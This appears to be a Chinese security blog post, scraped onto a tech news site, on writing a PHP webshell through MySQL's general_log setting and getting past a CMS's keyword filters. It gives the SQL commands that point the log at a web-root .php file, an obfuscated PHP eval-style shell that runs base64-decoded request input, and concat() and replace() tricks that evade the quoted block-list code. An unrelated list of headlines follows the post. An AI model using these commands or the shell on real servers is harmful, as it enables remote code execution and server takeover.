0x01 基本原理
在能够写sql语句的地方,outfile、dumpfile、drop database等都被禁止,一般进行sql注入来getshell或删库的方式行不通了。
但是如果mysql是root用户启动的,那么可以进行如下利用:
show variables like '%general%'; #查看配置set global general_log = on; #开启general log模式set global general_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址select '' #写入shell
sql查询免杀shell的语句(参考:sql语句利用日志写shell):
select 'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_request['username']));?>
0x02 bypass案例
这个案例虽然鸡肋,但是思路还可以。
过滤 .php
代码审计某cms时,看到一处写sql语句的地方,此处之前报过漏洞,修复方案是过滤了outfile、dumpfile、drop database等,此外还过滤了.php字符串,为的就是防住sql语句日志写shell:
if(stristr($sql, 'outfile')){ $str = 'error : 检测到非法字符 “outfile”!'; break;}if(stristr($sql, 'dumpfile')){ $str = 'error : 检测到非法字符 “dumpfile”!'; break;}if(stristr($sql, '.php')){ $str = 'error : 检测到非法字符 “.php” !'; break;}if(preg_match(/^drop(.*)database/i, $sql)){ $str = 'error : 不允许删除数据库!'; break;}
这里直接写上述的sql语句肯定是不行的,因为set global general_log_file = '/var/www/html/1.php';的.php会被过滤掉。
这里只是针对字符串的检测,可以用字符串拼接的方式bypass,这里可以使用sql语句中的concat家族系列函数来实现字符串拼接来bypass:
show variables like '%general%'; #查看配置set global general_log = on; #开启general log模式set global general_log_file =concat(/var/www/html/1.,php); select ''; #写入shell
过滤 .php和concat
在这次报过的漏洞之后,cms厂商修改了这个洞,就是添加了对concat的字符串过滤,这样concat家族系列函数就使不上了。
if(stristr($sql, 'outfile')){ $str = 'error : 检测到非法字符 “outfile”!'; break;}if(stristr($sql, 'dumpfile')){ $str = 'error : 检测到非法字符 “dumpfile”!'; break;}if(stristr($sql, '.php')){ $str = 'error : 检测到非法字符 “.php” !'; break;}if(stristr($sql, 'concat')){ $str = 'error : 检测到非法字符 “concat” !'; break;}if(preg_match(/^drop(.*)database/i, $sql)){ $str = 'error : 不允许删除数据库!'; break;}
使用concat进行字符串拼接的方式没法绕过了,但是除了字符串拼接,我们还能使用字符串替换的操作来绕过:
show variables like '%general%'; #查看配置set global general_log = on; #开启general log模式set global general_log_file =replace(/var/www/html/1.jpg,jpg,php); select ''; #写入shell
过滤 .php、concat和replace
cms厂商收到新的绕过漏洞报告后,又进行新一轮的修复,过滤了replace:
if(stristr($sql, 'outfile')){ $str = 'error : 检测到非法字符 “outfile”!'; break;}if(stristr($sql, 'dumpfile')){ $str = 'error : 检测到非法字符 “dumpfile”!'; break;}if(stristr($sql, '.php')){ $str = 'error : 检测到非法字符 “.php” !'; break;}if(stristr($sql, 'concat')){ $str = 'error : 检测到非法字符 “concat” !'; break;}if(stripos($sql, 'replace')){ $str = 'error : 检测到非法字符 “replace” !'; break;}if(preg_match(/^drop(.*)database/i, $sql)){ $str = 'error : 不允许删除数据库!'; break;}
字符串拼接和替换都不能成功进行利用了,还有啥办法不?
当然还有新的bypass方法哈哈。
作者:mi1k7ea
菜鸟学安全
确保互联汽车安全可靠
飞利浦S711L评测 1700元到底值不值
网络视频摄像机需要注意哪一些
云南首款智能巡检机器人成功开展高压带电巡检
电动汽车创造加速最新记录 1.5秒加速到100公里
SQL语句利用日志写shell及相关绕过
5G+智能终端创新发展论坛即将在北京召开
详解LoRa是如何确保物联网安全与如何实践的?
浅谈半导体技术的未来发展路线图
无线设计中LNA和PA作用和要求及其主要特性
魅族Pro7、魅族MX7最新消息:魅族Pro7、魅族MX7渲染图曝光就长这样!或采用双屏幕交互!
带你们认识一下早期的电子技术
巍泰技术毫米波客流统计雷达在门店、商场、购物中心客流统计中除保护隐私外,还有哪些应用优势?
无功补偿柜更换电容器需要注意啥
NVIDIA推出全球首款商用L2级自动驾驶系统
想在天上开车?飞行汽车正在研发中
昆明物理所在HOT器件用旋转式斯特林制冷机方面的研究进展
你会正确使用维护投影仪吗?
AMD三代锐龙5 3600评测 目前主流价位段上性价比比较高的一款锐龙产品
苹果公司取消了几项计划在Arcade上推出的游戏合同